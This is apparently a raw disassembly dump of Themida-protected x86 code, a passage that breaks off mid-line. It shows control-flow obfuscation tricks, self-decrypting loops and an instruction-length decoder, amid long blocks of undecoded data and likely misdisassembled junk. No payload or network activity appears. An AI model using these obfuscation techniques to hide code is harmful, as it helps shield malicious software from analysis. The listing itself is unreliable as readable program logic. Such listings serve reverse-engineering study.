[ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D6F0C proc near ; CODE XREF: Themida_:005D6F04p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5D6F0C endp ; --------------------------------------------------------------------------- dd 0F87BF85h, 180h, 0FFF5F800h, 142C65B5h, 0CF816006h dd 64BB4EB3h, 0F61F48Ah, 188Fh, 12840F00h, 0E9000000h dd 0Dh, 0E9A2174h, 103F1697h, 0E6F87481h, 0FE858DB9h, 0FC061778h dd 5E9D0FFh, 0F3000000h, 690C39D4h ; --------------------------------------------------------------------------- loc_5D6F68: ; CODE XREF: Themida_:005D6EEDj mov [ebp+6141E7Dh], eax push 0 push ecx call sub_5D6F79 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D6F79 proc near ; CODE XREF: Themida_:005D6F71p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5D6F79 endp ; --------------------------------------------------------------------------- db 85h, 76h, 0F0h dd 607EB947h, 0BE9h, 45A02B00h, 8818D50Ch, 0C15E4D9Eh dd 0CCD18160h, 0E871DB04h, 0Ah, 7ABB0804h, 5149AD3Ch, 615B27C0h dd 4985C661h, 50061408h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 99C35141h, 13D5A992h, 0F97E9C50h, 1BBE6660h dd 61CFB5B4h, 4E8h, 0ADAD5600h, 158B0FA8h, 0E9000000h dd 10h, 1FBFCD4Eh, 5BB1BF1Fh, 0A7C4B7F8h, 6440BA36h, 60525050h dd 10E9h, 1EF75300h, 0C4B9ADECh, 11166131h, 219D75EEh dd 615853E1h, 870F310Fh, 16h, 11E9h, 3344F500h, 0FEB8DDh dd 0A6F74B90h, 0FB7DCB27h, 585A7D26h, 424448Bh, 52505250h dd 310F6160h, 0CE9h, 0CF022700h, 0C10C1164h, 241CB7C0h dd 0F585A34h, 0CE8B6031h, 310F5250h, 5A61585Ah, 0F008B58h dd 1884h, 13E900h, 0B9E20000h, 0C0C9CB43h, 15E4896Fh, 26AF6FB6h dd 0F8ABE0F9h, 244489E7h, 7E86004h, 5D000000h, 0F0BBCE90h dd 0C9BB41D2h, 5E0281D9h, 0DAE7C8B9h, 6A58612Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 21D0C350h, 86A0161Eh, 0CB54EFBEh, 2C65B5FFh, 890F0614h dd 0Eh, 9E9h, 8895D700h, 6FF23215h, 858DBB2Bh, 61778FEh dd 6AD0FFF5h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 530FC351h, 11E9h, 0CABEBB00h dd 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh, 8E9223Fh, 24000000h dd 0CCB2C91Dh, 890F1B0Dh, 14233D85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0FE97E91h dd 987h, 8B666000h, 0C4BB66DFh, 0AE96164h, 16000000h, 84BA326Dh dd 0BFA2BDE1h, 4E8DAh, 0A82F0000h, 0EE9F08Fh, 0C2000000h dd 0F0B42146h, 638E50F5h, 39DC68C2h, 840F50C4h, 19h, 14E9h dd 631D0600h, 0E663925Bh, 51707262h, 300FD409h, 0E943B70Dh dd 24448B5Dh, 60525004h, 0D68B5953h, 0E9310F61h, 0Bh, 2190F607h dd 4F050D5Eh, 5AE125F3h, 60008B58h, 0BE8h, 0B997D700h dd 0BC5C72Eh, 0CACB6EADh, 66596160h, 61B4CDB8h, 4244489h dd 52505250h, 310F6160h, 14E9h, 8F5A8000h, 91F05017h, 0F2FF2212h dd 0C913DCFAh, 2214C18h, 0F585AF9h, 52506031h, 585A310Fh dd 8C0Fh, 5A610000h, 0F605858h, 8D0FF3B7h, 4, 0D128BE66h dd 65B5FF61h, 6006142Ch, 4AB5C081h, 8B0F55CEh, 2, 0E9616160h dd 12h, 0ACFEACD2h, 6D16D5AAh, 0E184BA32h, 0DABFA2BDh dd 858DC453h, 61778FEh, 14E960h, 0D3BC0000h, 56A67417h dd 85F28067h, 4066AF2Fh, 6D072350h, 61F8DF59h, 8C0FD0FFh dd 17h, 11820Fh, 0CE90000h, 0F8000000h, 0DF7D07B3h, 0A544E773h dd 600D321Eh, 59FC8A52h, 12880Fh, 0CE80000h, 3A000000h dd 0DA58E6E9h, 9764C566h, 5E21041Ch, 89858961h, 60061430h dd 8746B966h, 615FFC50h, 84985C6h, 60500614h, 3890Fh, 0BF0F0000h dd 6E8D8h, 0DDBC0000h, 81F875DBh, 709FB866h, 268615Eh dd 602DAEB3h, 0B8BE5250h, 0F45A35Dh, 99A2B831h, 585A0BC4h dd 8161D88Bh, 29542404h, 0FFF869EEh, 140C2DB5h, 81666006h dd 0E9E295EAh, 13h, 0B871E561h, 38B64462h, 2A0110BFh, 0FDC48519h dd 6105A880h, 3B4E858Dh, 0EE90614h, 18000000h, 4C511DFCh dd 6E74DF28h, 0E5E77AACh, 60D0FF67h, 870Fh, 61F90000h dd 0AFD8589h, 8B0F0614h, 11h, 0CE9h, 0D2AF9B00h, 0F986F5F6h dd 983A5480h, 1CFE919h, 880F0000h, 0Ah, 5E9h, 0EEFFAE00h dd 509579FBh, 60525052h, 50310F61h, 5A310F52h, 0F585A58h dd 0C38B6031h, 810Fh, 5A610000h, 52505058h, 11E9h, 661B1E00h dd 5D31E8E4h, 54AEE76Dh, 0ABEEEFB8h, 310F781Eh, 68C0Fh dd 850F0000h, 0 ; --------------------------------------------------------------------------- pop edx pop eax xchg eax, ebp push 0 push esi call sub_5D73EE and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D73EE proc near ; CODE XREF: Themida_:005D73E6p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5D73EE endp ; --------------------------------------------------------------------------- dw 7A12h dd 89E5690Dh, 0A0136572h, 0CE9h, 9CF7D00h, 0BEED93CAh dd 59F5EB04h, 0F9EC8B17h, 28B0F60h, 0B1000000h, 61F78BCAh dd 0FFCC483h, 183h, 6060F800h, 198D0Fh, 14E90000h, 40000000h dd 353EED13h, 0BF4BD804h, 60ACDC0Dh, 4B34C355h, 662FE4FBh dd 61F694BFh, 6BF6660h, 13E904h, 8C0B0000h, 0ABD1406Dh dd 6AA2567Bh, 26198D93h, 0E1FFA733h, 0E86166h, 5A000000h dd 98DFEA81h, 45C70619h, 0FCh, 69BA8300h, 1061415h, 98840Fh dd 6A520000h, 0FF0F6A00h, 141E7D92h, 82895A06h, 61991C0h dd 91C49A8Dh, 0C7520619h, 12803h, 0FF505300h, 14233D92h dd 8D525A06h, 1991C49Ah, 0B2FF5306h, 61991C0h, 0AFD92FFh dd 0B5A0614h, 8D5074C0h, 1991C49Ah, 247B8D06h, 0F981C933h dd 104h, 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h dd 61431A5h, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 31A5828Dh dd 0FF500614h, 14308992h, 0C00B5A06h, 45C7A075h, 1FCh dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 6AF90008h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 3587C356h, 86E91A23h ; --------------------------------------------------------------------------- stc loc_5D7559: ; CODE XREF: Themida_:005D6E9Fj mov edx, edx jmp loc_5D7728 ; --------------------------------------------------------------------------- dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 dd offset byte_418880+8 dd 4 dup(0) dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h dd 0 dd 600h, 4444h, 41h, 11111111h, 44444444h, 0C9880299h dd 100203h, 118888h, 88888888h, 11111111h, 1644h, 2 dup(88000000h) dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2 dup(0) aIiiiiiiiaiiiii db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0 aIssi db 'ˆ™™ˆ',8,0 db 2 dup(0), 88h aDdddddddiiiiii db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0 aAs db '€™',0 dd 88998000h, 88888888h, 88888900h, 89998888h, 0 dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h dd 8888888h, 3E362E26h, 67666564h, 0F3F2F0h, 0 dd 0FFFFFFFFh, 4016E6h, 4016FAh, 2 dup(0) dd 3, 14h dup(0) ; --------------------------------------------------------------------------- retn 8 ; --------------------------------------------------------------------------- db 66h dd 0FE807572h, 12h dup(0) ; --------------------------------------------------------------------------- loc_5D7728: ; CODE XREF: Themida_:005D755Bj jmp loc_5D7A80 ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 6199B97h pusha mov dword ptr [ebp+6199AE4h], 0 cmp word ptr [esi], 0A166h jnz loc_5D775F mov dword ptr [ebp+6199AE8h], 6 jmp loc_5D7783 ; --------------------------------------------------------------------------- loc_5D775F: ; CODE XREF: Themida_:005D774Aj lea eax, [ebp+6199AECh] push eax lea eax, [ebp+6199B3Ch] push eax push esi push 0 call sub_5D7792 add esp, 10h and eax, 0FFh mov [ebp+6199AE8h], eax loc_5D7783: ; CODE XREF: Themida_:005D775Aj popa add esi, [ebp+6199AE8h] mov eax, [ebp+6199AE4h] pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5D7792 proc near ; CODE XREF: Themida_:005D7770p var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_6199ADC = dword ptr 6199AE4h push ebp mov ebp, esp push ecx push ecx and [ebp+var_5], 0 and [ebp+var_6], 0 xor dl, dl and [ebp+var_1], dl cmp [ebp+arg_0], 0 jz loc_5D77BF mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh mov [ebp+var_2], 1 jmp loc_5D77CB ; --------------------------------------------------------------------------- loc_5D77BF: ; CODE XREF: sub_5D7792+16j and [ebp+var_3], 0 and [ebp+var_2], 0 mov [ebp+var_4], 4 loc_5D77CB: ; CODE XREF: sub_5D7792+28j push ebx push esi push edi loc_5D77CE: ; CODE XREF: sub_5D7792+91j ; sub_5D7792+ADj ... mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5D77E1: ; CODE XREF: sub_5D7792+76j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6199C4Eh lea ebp, [ebp+6199AC4h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5D780E inc cl cmp cl, 0Bh jb loc_5D77E1 loc_5D780E: ; CODE XREF: sub_5D7792+6Bj cmp cl, 0Bh jz loc_5D786B cmp al, 66h jnz loc_5D784C cmp [ebp+var_5], 0 jnz loc_5D77CE cmp [ebp+var_3], 0 mov [ebp+var_5], 1 jnz loc_5D7844 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh jmp loc_5D77CE ; --------------------------------------------------------------------------- loc_5D7844: ; CODE XREF: sub_5D7792+9Fj and [ebp+var_3], 0 mov [ebp+var_4], 4 loc_5D784C: ; CODE XREF: sub_5D7792+87j cmp al, 67h jnz loc_5D77CE cmp [ebp+var_6], 0 jnz loc_5D77CE xor [ebp+var_2], 1 mov [ebp+var_6], 1 jmp loc_5D77CE ; --------------------------------------------------------------------------- loc_5D786B: ; CODE XREF: sub_5D7792+7Fj mov ebx, [ebp+arg_C] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5D7897 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5D789C ; --------------------------------------------------------------------------- loc_5D7897: ; CODE XREF: sub_5D7792+E4j movzx edi, al shr edi, 1 loc_5D789C: ; CODE XREF: sub_5D7792+100j push ebp call $+5 pop ebp sub ebp, 6199D06h lea ebp, [ebp+61999C4h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp+var_7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp+var_6], bl jz loc_5D7A1E mov ebx, [ebp+arg_4] mov byte ptr [ebp+arg_0+3], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov byte ptr [ebp+arg_C+3], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz [ebp+var_5] shr ecx, 6 sub ecx, 0 jz loc_5D7962 dec ecx jz loc_5D7945 dec ecx jnz loc_5D79B5 cmp [ebp+var_2], 0 jnz loc_5D79B1 cmp [ebp+var_5], 0 jz loc_5D7924 mov byte ptr [ebp+arg_0+3], 2 loc_5D7924: ; CODE XREF: sub_5D7792+188j add byte ptr [ebp+arg_0+3], 4 push ebp call $+5 pop ebp sub ebp, 6199D92h mov [ebp+arg_6199ADC], 1 pop ebp jmp loc_5D79B5 ; --------------------------------------------------------------------------- loc_5D7945: ; CODE XREF: sub_5D7792+16Dj cmp [ebp+var_2], 0 jnz loc_5D798F cmp [ebp+var_5], 0 jz loc_5D798F mov byte ptr [ebp+arg_0+3], 2 jmp loc_5D798F ; --------------------------------------------------------------------------- loc_5D7962: ; CODE XREF: sub_5D7792+166j cmp [ebp+var_2], 0 jnz loc_5D79A8 cmp [ebp+var_5], 0 jz loc_5D7997 movzx ecx, byte ptr [ebp+arg_C+3] mov edx, [ebp+arg_4] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5D798F mov byte ptr [ebp+arg_0+3], cl loc_5D798F: ; CODE XREF: sub_5D7792+1B7j ; sub_5D7792+1C1j ... inc byte ptr [ebp+arg_0+3] jmp loc_5D79B5 ; --------------------------------------------------------------------------- loc_5D7997: ; CODE XREF: sub_5D7792+1DEj cmp dl, 5 jnz loc_5D79B5 mov byte ptr [ebp+arg_0+3], dl jmp loc_5D79B5 ; --------------------------------------------------------------------------- loc_5D79A8: ; CODE XREF: sub_5D7792+1D4j cmp dl, 6 jnz loc_5D79B5 loc_5D79B1: ; CODE XREF: sub_5D7792+17Ej mov byte ptr [ebp+arg_0+3], 3 loc_5D79B5: ; CODE XREF: sub_5D7792+174j ; sub_5D7792+1AEj ... dec byte ptr [ebp+arg_0+3] jz loc_5D79E3 movzx ecx, byte ptr [ebp+arg_0+3] mov [ebp+arg_0], ecx loc_5D79C5: ; CODE XREF: sub_5D7792+249j movzx esi, byte ptr [ebp+arg_C+3] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] inc byte ptr [ebp+arg_C+3] dec [ebp+arg_0] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5D79C5 mov esi, edx loc_5D79E3: ; CODE XREF: sub_5D7792+226j and al, 0FEh cmp al, 0F6h jnz loc_5D7A18 cmp edi, 7Fh ja loc_5D7A18 test bl, 38h jnz loc_5D7A18 cmp [ebp+var_7], 0 jz loc_5D7A12 movzx eax, [ebp+var_4] jmp loc_5D7A15 ; --------------------------------------------------------------------------- loc_5D7A12: ; CODE XREF: sub_5D7792+271j push 1 pop eax loc_5D7A15: ; CODE XREF: sub_5D7792+27Bj mov [ebp+var_1], al loc_5D7A18: ; CODE XREF: sub_5D7792+255j ; sub_5D7792+25Ej ... mov dl, byte ptr [ebp+arg_C+3] mov bl, [ebp+var_6] loc_5D7A1E: ; CODE XREF: sub_5D7792+136j mov al, bl and eax, 7 sub eax, 4 jz loc_5D7A49 dec eax dec eax jz loc_5D7A3F and bl, 7 add [ebp+var_1], bl jmp loc_5D7A51 ; --------------------------------------------------------------------------- loc_5D7A3F: ; CODE XREF: sub_5D7792+29Cj mov al, [ebp+var_3] add al, 6 jmp loc_5D7A4E ; --------------------------------------------------------------------------- loc_5D7A49: ; CODE XREF: sub_5D7792+294j mov al, [ebp+var_3] add al, 4 loc_5D7A4E: ; CODE XREF: sub_5D7792+2B2j add [ebp+var_1], al loc_5D7A51: ; CODE XREF: sub_5D7792+2A8j mov al, [ebp+var_1] dec [ebp+var_1] test al, al jz loc_5D7A79 movzx ecx, [ebp+var_1] inc ecx loc_5D7A64: ; CODE XREF: sub_5D7792+2E1j mov edi, [ebp+arg_4] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5D7A64 loc_5D7A79: ; CODE XREF: sub_5D7792+2C7j pop edi pop esi mov al, dl pop ebx leave retn sub_5D7792 endp ; --------------------------------------------------------------------------- loc_5D7A80: ; CODE XREF: Themida_:loc_5D7728j lea eax, [ebp+6199B91h] mov [ebp+6141AA5h], eax call near ptr loc_5D7A99+1 out 0DFh, eax mov ebp, 625BD3C0h push ebp loc_5D7A99: ; CODE XREF: Themida_:005D7A8Cp int 80h ; LINUX - out dx, al aad 5Fh or dx, 0CEFBh add edi, 6DFFh stc mov esi, 1B5Bh jp loc_5D7ABA mov eax, 505B92D9h loc_5D7ABA: ; CODE XREF: Themida_:005D7AAFj ; Themida_:005D7B1Fj mov ebx, [edi] jnz loc_5D7ACA push esi jg $+6 pop ecx loc_5D7ACA: ; CODE XREF: Themida_:005D7ABCj xor ebx, 605C112Ch mov al, bh add ebx, 44DE3C01h mov ecx, ebx add ebx, 1FFB22Eh jb loc_5D7AEB mov ecx, 7BD306CFh loc_5D7AEB: ; CODE XREF: Themida_:005D7AE0j push ebx jg loc_5D7AFA jnb loc_5D7AFA push ecx pop edx loc_5D7AFA: ; CODE XREF: Themida_:005D7AECj ; Themida_:005D7AF2j pop dword ptr [edi] jmp loc_5D7B07 ; --------------------------------------------------------------------------- db 0F0h, 78h, 0 db 4Ah, 86h, 80h ; --------------------------------------------------------------------------- loc_5D7B07: ; CODE XREF: Themida_:005D7AFCj sub edi, 10EEE7FAh jp loc_5D7B15 mov edx, ebx loc_5D7B15: ; CODE XREF: Themida_:005D7B0Dj add edi, 10EEE7F6h mov cx, dx dec esi jnz loc_5D7ABA or ch, 0F8h call sub_5D7B3A inc ebx test al, 0CEh add ebx, ecx xlat mov al, ds:25C4ED71h insb nop ; =============== S U B R O U T I N E ======================================= sub_5D7B3A proc near ; CODE XREF: Themida_:005D7B28p pusha jnz loc_5D7B5A jmp loc_5D7B5A ; --------------------------------------------------------------------------- dw 0F79Bh dd 0E45800F6h, 9FFDBDAAh, 0C1A89C9Ah, 0E53579C4h db 8Dh, 0CBh ; --------------------------------------------------------------------------- loc_5D7B5A: ; CODE XREF: sub_5D7B3A+1j ; sub_5D7B3A+7j jp loc_5D7B62 pusha popa loc_5D7B62: ; CODE XREF: sub_5D7B3A:loc_5D7B5Aj popa pop esi push ecx mov cx, 0B7DCh pop edi add esi, 643Eh mov ch, 17h xor ebx, ebx push esi add ch, 8 pop eax loc_5D7B79: ; CODE XREF: sub_5D7BC9+20j push dword ptr [ebx+esi] xor ax, 0A4EAh pop edx xor al, 0B9h xor edx, 64E892h sbb al, 88h add edx, 58CE9C33h jnz loc_5D7BAC jmp loc_5D7BAC ; --------------------------------------------------------------------------- db 89h dd 329FE5CFh, 0E13AEF04h, 0FB20231Bh ; --------------------------------------------------------------------------- loc_5D7BAC: ; CODE XREF: sub_5D7B3A+5Aj ; sub_5D7B3A+60j xor edx, 0DF021D3h mov [esi+ebx], edx stc call sub_5D7BC9 adc eax, 0D397A1D9h inc eax loc_5D7BC1: ; CODE XREF: Themida_:005D7C36j mov dword ptr [edi], 0D8B560CCh xor dh, bh sub_5D7B3A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D7BC9 proc near ; CODE XREF: sub_5D7B3A+7Cp jnz loc_5D7BD5 jno $+6 loc_5D7BD5: ; CODE XREF: sub_5D7BC9j pop eax sub ebx, 42609ECEh add ebx, 42609ECAh clc cmp ebx, 0FFFF9C98h jnz loc_5D7B79 jmp loc_5D7C07 ; --------------------------------------------------------------------------- dd 4B5BDAB7h, 0A895F7D0h, 0AEFA54C0h, 0ADD52B31h db 88h, 1Dh, 85h ; --------------------------------------------------------------------------- loc_5D7C07: ; CODE XREF: sub_5D7BC9+26j lea ecx, [ebp+619A18Bh] push 0 push ecx call sub_5D7C18 and [ecx-3Dh], bl sub_5D7BC9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D7C18 proc near ; CODE XREF: sub_5D7BC9+47p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5D7C18 endp ; --------------------------------------------------------------------------- imul eax, [esi+eax*2], 3 xchg eax, ecx retn ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- jz short loc_5D7CAA add eax, 86BB2AB8h jnp short loc_5D7BC1 lea ebp, [ecx+2Bh] adc al, 6 push 0 push edi call sub_5D7C48 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7C48 proc near ; CODE XREF: Themida_:005D7C40p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5D7C48 endp ; --------------------------------------------------------------------------- dd 0A7E88A7Dh, 3CBB665Ah, 5585C7CEh, 14061410h, 6A00005Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 2891C351h, 801E59AAh, 85C739E0h, 614013Dh dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h db 81h, 44h ; --------------------------------------------------------------------------- loc_5D7CAA: ; CODE XREF: Themida_:005D7C2Fj and al, 4 push ss ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- inc eax push eax retn ; --------------------------------------------------------------------------- db 0BCh dd 0AE9446Eh, 2B000000h, 0F55973F9h, 20E41E7Fh, 11B5FF32h dd 6A06141Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 2041C357h, 7834F269h, 130DB589h dd 95FF0614h, 6140BD9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0CCC35343h, 0D53D44BFh, 52E271CFh, 5EE28A53h dd 95FF006Ah, 6142971h, 3EEBC08Bh, 5BEE9F71h, 0C3BBCF3Fh dd 0CF582182h, 0AA55413Ah, 84973CE4h, 73DBB3ECh, 13E23823h dd 0BC7679B7h, 0FB0D2C78h, 41CB3B16h, 6E5D3874h, 0BE23F9FBh dd 293429E2h, 0DE1CB1A6h, 77D8E0D0h, 8D8D383Ch, 619A295h dd 2C699589h, 8D890614h, 6142B69h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0AC35040h, 159D4132h, 579E1275h dd 0AE8h, 61875900h, 0B59310Ch, 0FD0B441h, 68Ch, 48DF8100h dd 5B0B48F1h, 11E9h, 0EDBF6B00h, 0C3563A32h, 38872AAFh dd 0D5926D76h, 85C7D80Eh, 6141055h, 6068h, 0DD76BE66h dd 13D85C7h, 614h, 8E90000h, 0AA000000h, 0C1F4A722h, 0FFCCD418h dd 140E1DB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0FDABD09h, 95FFFFB7h, 6140BD9h, 0DE1B509h dd 6A0614h, 297195FFh, 0C08B0614h, 377E3EEBh, 45F6E2ADh dd 0C502B502h, 4A58A98h, 3EE2E5C8h, 2D69855Ch, 2B776E2h dd 4D287ABFh, 64971C38h, 7E849999h, 4B26A166h, 9A64423Dh dd 0A934A9B3h, 0B6D0A4F7h, 802F507Ch, 73CE58EAh, 37E9h dd 0AAA60C00h, 809E012Fh, 7Ch, 0Bh dup(0) ; --------------------------------------------------------------------------- jmp loc_5D8BE3 ; --------------------------------------------------------------------------- push 619A48Eh jmp loc_585C7C ; --------------------------------------------------------------------------- push 619A5B5h jmp loc_585C7C ; --------------------------------------------------------------------------- push 619A75Ah jmp loc_585C7C ; --------------------------------------------------------------------------- push 619A894h jmp loc_585C7C ; --------------------------------------------------------------------------- push 619A9D3h jmp loc_585C7C ; --------------------------------------------------------------------------- push 619AC26h jmp loc_585C7C ; --------------------------------------------------------------------------- push 619AD8Fh jmp loc_585C7C ; --------------------------------------------------------------------------- push 619AE94h jmp loc_585C7C ; --------------------------------------------------------------------------- db 0Eh, 0FEh, 83h dd 0AEDFE07Fh, 0D7D2FD6Ah, 0FFB6D453h, 0E09DAC3Bh, 0DB59F1Ch dd 0E07F83FEh, 0F966AAE3h, 0D14ED2CDh, 5D38FCAFh, 31F241EEh dd 0C27155E9h, 366567DEh, 54477906h, 2B51B0D0h, 63DB9710h dd 282C49DCh, 83AE9110h, 814C55E4h, 99C2686Ah, 0A11C8BA8h dd 0E49B3504h, 48CA4E55h, 31BFh, 61807500h, 6799E01Bh dd 72800434h, 6C66F431h, 9BFF49DCh, 0B7EA1960h, 5DE0417Dh dd 0BF55E49Ch, 67E63950h, 18E03269h, 8BA89AD2h, 0CEECh dd 6567C800h, 4A790636h, 26582757h, 0B2ED1960h, 0C3F3E9Ah dd 2553F092h, 5ED91DF0h, 0D1B509BCh, 0C0C29DADh, 6E0049CDh dd 2C53F07Dh, 316C981Ah, 0FD66FE0Dh, 36CD868h, 403BFF35h dd 0ABF948D5h, 167A53F0h, 4E3D4F1Ch, 5127C63Eh, 4359FD3Ah dd 0D69549DCh, 4BCFFFBAh, 51D5B9C9h, 0D36ECF3Ah, 5055E4C3h dd 7F8E26ECh, 0ADDDD0F2h, 0A9F60529h, 4FCB9B44h, 0B25699EFh dd 0D7748003h, 0C2C198B3h, 9CADBCCFh, 0F86713E1h, 5A53D4C9h dd 2663028Dh, 0ADFE4B6h, 0D9E90000h, 0C4C562A6h, 0AFDA45C9h dd 93B12EF2h, 7C8B1418h, 5A7EFD01h, 5CA0DDECh, 4BCFC6C3h dd 31F5B0DCh, 151994B6h, 95A40178h, 2E55E936h, 686723E5h dd 5476F135h, 801FD559h, 47E01B61h, 49DC6CD7h, 47F23328h dd 0DC55E49Ch, 0EAA1AF78h, 0F45B6C6h, 2F3DA968h, 39B47EFFh dd 55E48706h, 1F1279E4h, 0C1A47049h, 0C3511786h, 0A988F13Fh dd 1058D8Bh, 0CB920000h, 0B4CBC3BAh, 68EC1C99h, 6744CE44h dd 0AA053665h, 9243FE3Fh, 7CC053F0h, 0F092CE7Dh, 0A1DCEE53h dd 0F5592DA9h, 441C8F3Fh, 0D5C27767h, 0DB7082DBh, 82FF0AACh dd 1E180E8Ah, 0E4B7B5D9h, 6BCAC2E6h, 53F08987h, 3B7290EFh dd 6D2022F9h, 910C3EA9h, 94E00179h, 591CC667h, 0B19549DCh dd 0CEC5C39Ah, 18D85ABEh, 0B2601563h, 0E9364849h, 0A57B1B28h dd 49CB4B90h, 0EBE09475h, 0CB56304Ah, 88A7394Fh, 723AD4Eh dd 678B0601h, 14314843h, 2FE56199h, 0C3BECD9Ch, 892B1C8h dd 0DB429CAFh, 0F33175Fh, 0B3D24D05h, 1A4A39FEh, 0A626301h dd 9B838h, 0FFB2D200h, 0E29BAC3Bh, 0B86811Eh, 336A9807h dd 5C5170EFh, 0C97953D8h, 0A443C7BAh, 0BD2AEEA7h, 95121691h dd 99F43873h, 37B68522h, 86CD55E9h, 35686702h, 98CA9AF1h dd 65B5B3EEh, 4F712EE4h, 215FEA4Bh, 67D453F0h, 0F0210BC6h dd 60848853h, 677AB87Ch, 79063665h, 0B0D05447h, 49102B51h dd 67D25337h, 0FC53F092h, 0C0447498h, 0AB067132h, 0F0923F0Ah dd 0B9F41F53h, 0C2B341C5h, 49DC902Ch, 79C0B3C5h, 22017BE5h dd 0CE9D0E3Eh, 404DC7C2h, 55E4E5FEh, 8598FF1Eh, 51C0F4CFh dd 130CD555h, 98DBDF8h, 82B9670Bh, 0AA058BA9h, 0E4603E0Dh dd 43D1B555h, 63AA0h, 61800C00h, 0AB47E01Bh, 5C49DC65h dd 85F34EEFh, 0C7055E4h, 0EE51D0E8h, 0C55E485h, 477AAC1h dd 31494445h, 85A594D5h, 5A3E55E4h, 31C3BECDh, 0A89F83A9h dd 601138Bh, 80990000h, 0A8E5E061h, 0FB103490h, 0DC4894BAh dd 0DC0A5A49h, 6DD3FF60h, 0F7707082h, 8981A5D8h, 0E4A41528h dd 0B5B4F755h, 77141E99h, 0BF0CD220h, 0CCAA8BA8h, 6000005h dd 5EAF591Eh, 6294112Ah, 0BC49DC6Bh, 2EE49FADh, 948776DAh dd 85B7D6DCh, 0B38DFDDCh, 6A001847h, 0E6D75D41h, 0C9C9180Ch dd 0FF0C7889h, 0F514B8BEh, 255539DBh, 23582CBDh, 139CA9B0h dd 82519D74h, 1A315579h, 0CD02AE9Dh, 0D32125CBh, 0E1CE8DE2h dd 6C9AE1D1h, 6BBD1931h, 0D2E590D0h, 7B8F8574h, 0FB89E417h dd 2F683DC3h, 0E5BA781Dh, 0FB64A8E3h, 684DD2C9h, 18D0DBC6h dd 81392A0h, 0D3D0000h, 0F0118E92h, 0E3EE79BDh, 0C7C562A6h dd 0B0DF48CCh, 9EB239FDh, 0A0641928h, 8F930A07h, 75B9F410h dd 61A5D8EAh, 0D968B534h, 5A55E935h, 0F48BF739h, 6E1F20D2h dd 5CD6324Ah, 0FE0E7D8Fh, 0FA116786h, 0DAF1E1BDh, 22E66A49h dd 6C6C1B69h, 4CAD9549h, 0E843FE3Fh, 7CC055E9h, 0E848C7B6h dd 0F70855E9h, 3155507Dh, 99AB3A0Dh, 83661EE2h, 6387020Eh dd 